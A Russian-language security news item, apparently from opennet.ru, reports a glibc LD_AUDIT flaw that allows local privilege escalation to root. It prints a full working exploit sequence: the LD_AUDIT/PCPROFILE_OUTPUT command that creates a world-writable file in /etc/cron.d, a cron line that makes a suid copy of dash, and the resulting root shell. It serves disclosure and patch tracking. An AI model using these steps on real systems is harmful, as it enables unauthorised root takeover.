Спустя несколько дней после обнаружения в системной библиотеке GNU C Library (glibc)
уязвимости,
сообщается о нахождении еще одного метода взлома, позволяющего выполнить код с привилегиями суперпользователя. В отличие от ранее представленной техники, новый метод эксплуатации проявляется не только в RHEL, Fedora и CentOS, но и в Debian/Ubuntu и других Linux-дистрибутивах, использующих glibc 2.4 или более позднюю версию. Отдельно
собщается, что проблеме не подвержена glibc из состава
OpenWall и ALT Linux, так как в данных дистрибутивах изначально по умолчанию использован повышающий безопасность патч "sanitize-env".
По своей сути новая уязвимость основана на том же принципе и базируется на отсутствии должных проверок при динамическом связывании в режиме LD_AUDIT библиотек с исполняемыми файлами, для которых установлен идентификатор смены владельца или группы (suid/sgid). Изначально система динамического связывания блокирует любые попытки использования LD_PRELOAD для загрузки для setuid/setgid-программ пользовательских библиотек, размещенных в нестандартный областях файловой системы (/lib, /usr/lib), но разработчики glibc сделали несколько исключений из правил для функции LD_AUDIT, наличие которых и привело к возможности осуществления атаки.
При активации режима аудита через LD_AUDIT система связывание выполняет проверку на экспорт символов для всех указанных стандартных библиотек, выполняя вызов dlopen(), который подразумевает запуск процедуры инициализации библиотеки. Техника атаки при этом сводится к инициированию загрузки подставной библиотеки в пути запуска приложения (
отмеченная в прошлой уязвимости техника), либо к использованию стандартных библиотек, неучитывающих фактор наличия флага suid/sgid (euid != uid).
Проверить подверженность системы уязвимости можно следующим способом:
Убираем маску прав доступа для создаваемых файлов (при umask 0 файлы будут создаваться по умолчанию с правами "-rw-rw-rw-")
Для атаки будем использовать стандартную библиотеку профилирования libpcprofile, входящую в комплект libc: Код:
$ dpkg -S /lib/libpcprofile.so
libc6: /lib/libpcprofile.so
$ ls -l /lib/libpcprofile.so
-rw-r--r-- 1 root root 5496 2010-10-12 03:32 /lib/libpcprofile.so
Код инициализации libpcprofile не проверяет различия эффективного и текущего идентификатора пользователя, но при этом позволяет создать лог-файл, который можно создать в любой системной директории: Код:
$ LD_AUDIT="libpcprofile.so" PCPROFILE_OUTPUT="/etc/cron.d/exploit" ping
ERROR: ld.so: object 'libpcprofile.so' cannot be loaded as audit interface: undefined symbol: la_version; ignored.
Несмотря на вывод ошибки, процедура инициализации выполнилась и в директории /etc/cron.d был создан лог-файл: Код:
$ ls -l /etc/cron.d/exploit
-rw-rw-rw- 1 root taviso 65 2010-10-21 14:22 /etc/cron.d/exploit
Как видно, права доступа на созданный файл, позволяют любому пользователю записать в него любые данные, которые затем будут выполнены системой cron от пользователя root. Например: Код:
$ printf "* * * * * root cp /bin/dash /tmp/exploit; chmod u+s /tmp/exploitn" > /etc/cron.d/exploit
Через пару минут наблюдаем: Код:
$ ls -l /tmp/exploit
ls: cannot access /tmp/exploit: No such file or directory
...
$ ls -l /tmp/exploit
-rwsr-xr-x 1 root root 83888 2010-10-21 14:25 /tmp/exploit
$ /tmp/exploit
# whoami
root
Исправления уже доступны для
Debian и
Ubuntu. Состояние подготовки исправлений для других дистрибутивов можно отследить на следующих страницах:
Slackware,
Gentoo,
Mandriva,
openSUSE,
CentOS,
Fedora,
RHEL.
Источник:
http://www.opennet.ru/opennews/art.shtml?num=28390
оригинал на opennet.ru